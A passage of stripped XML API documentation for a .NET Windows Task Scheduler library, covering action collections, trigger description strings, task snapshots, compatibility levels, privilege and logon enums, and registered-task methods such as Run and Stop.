enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this 